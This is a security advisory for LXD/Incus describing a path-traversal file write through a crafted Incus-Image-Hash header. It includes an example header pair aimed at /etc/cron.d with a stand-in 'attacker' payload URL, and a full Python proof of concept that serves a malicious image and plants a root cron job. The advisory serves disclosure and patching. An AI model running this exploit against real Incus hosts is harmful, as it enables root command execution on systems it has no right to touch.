GHSA-pjff-c2wc-f6jm: LXD has arbitrary file write on client due to trusted image hash
Reported from https://github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x
Summary
An arbitrary file write exists in the Incus client when a malicious image server returns a crafted Incus-Image-Hash header. This can lead to arbitrary command execution as root on the server.
Details
- cmd/incusd/images.go:611-684 handles source.type=url by HEADing the user-supplied URL, reading Incus-Image-Hash and Incus-Image-URL, and passing them to imageDownload() as Alias and Server. - cmd/incusd/daemonimages.go:91-92 defaults fp to the caller-controlled alias string. - cmd/incusd/daemonimages.go:333-335 builds destName := filepath.Join(destDir, fp). - cmd/incusd/daemonimages.go:469-523 enters the direct protocol branch, opens destName with os.Create(), and copies the HTTP response into that file. - cmd/incusd/daemonimages.go:528-532 validates the SHA-256 only after the file has already been created and populated. - cmd/incusd/daemonimages.go:337-344 cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.
A malicious image server returning something along the following will cause the arbitrary file write.
Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce Incus-Image-URL: http://attacker/payload
PoC
The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked.
The following script was generated by an LLM.
#!/usr/bin/env python3 """Direct image URL hash path traversal to transient host cron write.
For source.type=url, Incus first HEADs an attacker-controlled URL and trusts the Incus-Image-Hash header as the expected fingerprint. The direct download path then creates /var/lib/incus/images/<hash> before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing ../ escapes the image directory.
Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file. """
from future import annotations
import argparse import http.client import json import shlex import socket import ssl import sys import threading import time import urllib.parse from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from typing import Any
DEFAULTSOCKET = "/var/lib/incus/unix.socket" DEFAULTTRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce"
class UnixHTTPConnection(http.client.HTTPConnection): def init(self, socketpath: str, timeout: int = 120): super().init("incus", timeout=timeout) self.socketpath = socketpath
def connect(self) -> None: sock = socket.socket(socket.AFUNIX, socket.SOCKSTREAM) sock.settimeout(self.timeout) sock.connect(self.socketpath) self.sock = sock
class RCEHTTPServer(ThreadingHTTPServer): hashpath: str advertiseurl: str payload: bytes holdseconds: int payloadrequested: threading.Event
class DirectImageHandler(BaseHTTPRequestHandler): protocolversion = "HTTP/1.1" serverversion = "direct-image-rce/1.0"
def logmessage(self, fmt: str, args: Any) -> None: print(f"[http] {self.addressstring()} - {fmt % args}", flush=True)
def doHEAD(self) -> None: if self.path != "/stage": self.senderror(404) return
srv = self.server assert isinstance(srv, RCEHTTPServer) self.sendresponse(200) self.sendheader("Incus-Image-Hash", srv.hashpath) self.sendheader("Incus-Image-URL", srv.advertiseurl.rstrip("/") + "/payload") self.sendheader("Connection", "close") self.endheaders()
def doGET(self) -> None: if self.path != "/payload": self.senderror(404) return
srv = self.server assert isinstance(srv, RCEHTTPServer) srv.payloadrequested.set()
self.sendresponse(200) self.sendheader("Content-Type", "application/octet-stream") self.sendheader("Cache-Control", "no-store") self.endheaders() self.wfile.write(srv.payload) self.wfile.flush() print(f"[] payload bytes written to daemon response; holding for {srv.holdseconds}s", flush=True) time.sleep(srv.holdseconds) self.closeconnection = True
def quote(value: str) -> str: return urllib.parse.quote(value, safe="")
def tlscontext(args: argparse.Namespace) -> ssl.SSLContext: if args.insecure: ctx = ssl.createunverifiedcontext() else: ctx = ssl.createdefaultcontext(cafile=args.cacert)
if args.cert: ctx.loadcertchain(args.cert, args.key)
return ctx
def connection(args: argparse.Namespace) -> http.client.HTTPConnection: if args.url: parsed = urllib.parse.urlparse(args.url) if parsed.scheme != "https": raise ValueError("--url must use https")
return http.client.HTTPSConnection( parsed.hostname, parsed.port or 8443, timeout=args.timeout, context=tlscontext(args), )
return UnixHTTPConnection(args.socket, timeout=args.timeout)
def requestjson( args: argparse.Namespace, method: str, path: str, obj: dict[str, Any] | None, allowerror: bool = False, ) -> tuple[int, dict[str, Any]]: body = None if obj is None else json.dumps(obj).encode("utf-8") headers = {"Host": "incus"} if body is not None: headers["Content-Type"] = "application/json"
conn = connection(args) conn.request(method, path, body=body, headers=headers) resp = conn.getresponse() raw = resp.read() conn.close()
try: data = json.loads(raw) if raw else {} except json.JSONDecodeError: data = {"raw": raw.decode("utf-8", "replace")}
if not allowerror and (resp.status >= 400 or data.get("type") == "error"): raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}")
return resp.status, data
def imagespath(project: str) -> str: return "/1.0/images?project=" + quote(project)
def cronpayload(command: str) -> bytes: return f" root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8")
def imageurlbody(projecturl: str, public: bool) -> dict[str, Any]: return { "source": { "type": "url", "url": projecturl.rstrip("/") + "/stage", }, "public": public, }
def startserver(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer: server = RCEHTTPServer((args.listenhost, args.listenport), DirectImageHandler) server.hashpath = args.hashpath server.advertiseurl = args.advertiseurl server.payload = payload server.holdseconds = args.holdseconds server.payloadrequested = threading.Event()
thread = threading.Thread(target=server.serveforever, daemon=True) thread.start() return server
def main() -> int: parser = argparse.ArgumentParser(description="Incus direct image URL hash traversal cron RCE PoC") parser.addargument("--socket", default=DEFAULTSOCKET, help="Incus Unix socket") parser.addargument("--url", help="remote Incus URL, for example https://host.ctf:8443") parser.addargument("--cert", help="client certificate for remote Incus") parser.addargument("--key", help="client private key for remote Incus") parser.addargument("--cacert", help="CA certificate for remote Incus") parser.addargument("--insecure", action="storetrue", help="disable TLS verification") parser.addargument("--timeout", type=int, default=120, help="Incus request timeout") parser.addargument("--project", default="default", help="project used for image import") parser.addargument("--public", action="storetrue", help="mark imported image public") parser.addargument("--listen-host", default="0.0.0.0", help="HTTP listen address") parser.addargument("--listen-port", type=int, default=8088, help="HTTP listen port") parser.addargument("--advertise-url", default="http://127.0.0.1:8088", help="URL reachable by the Incus daemon") parser.addargument("--hash-path", default=DEFAULTTRAVERSAL, help="value returned in Incus-Image-Hash") parser.addargument("--hold-seconds", type=int, default=90, help="keep payload response open for this many seconds") parser.addargument("--command", default="id > /tmp/incus-direct-image-url-rce", help="command cron should run") parser.addargument("--execute-trigger", action="storetrue", help="start server and trigger POST /1.0/images") parser.addargument("--yes-i-understand-this-writes-host-file", action="storetrue", help="required with --execute-trigger") args = parser.parseargs()
if bool(args.cert) != bool(args.key): parser.error("--cert and --key must be supplied together") if args.executetrigger and not args.yesiunderstandthiswriteshostfile: parser.error("--execute-trigger requires --yes-i-understand-this-writes-host-file")
payload = cronpayload(args.command) triggerbody = imageurlbody(args.advertiseurl, args.public)
print("[] exploit primitive: direct image URL unvalidated hash path host write") print(f"[] HEAD URL served to daemon: {args.advertiseurl.rstrip()}/stage") print(f"[] returned Incus-Image-Hash: {args.hashpath}") print(f"[] returned Incus-Image-URL: {args.advertiseurl.rstrip()}/payload") print(f"[] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce") print(f"[] cron payload: {payload.decode().rstrip()}") print(f"[] trigger body: {json.dumps(triggerbody, sortkeys=True)}")
if not args.executetrigger: print("[] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test") return 0
server = startserver(args, payload) print(f"[] HTTP server listening on {args.listenhost}:{args.listenport}")
status, data = requestjson(args, "POST", imagespath(args.project), triggerbody, allowerror=True) print(f"[] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sortkeys=True)}")
if server.payloadrequested.wait(timeout=min(args.holdseconds, 30)): print("[] daemon requested payload; cron file should exist until the held response is released") else: print("[!] daemon did not request payload within the wait window")
print("[] leaving HTTP server active for the remaining hold window") time.sleep(max(0, args.holdseconds - 30)) server.shutdown() server.serverclose() return 0
if name == "main": try: raise SystemExit(main()) except BrokenPipeError: raise SystemExit(1) except Exception as exc: print(f"[-] {exc}", file=sys.stderr) raise SystemExit(1)
Impact
An arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/canonical/lxdto a version that resolves this vulnerability.Fixed in 0.0.0-20260630083100-c5184be310b1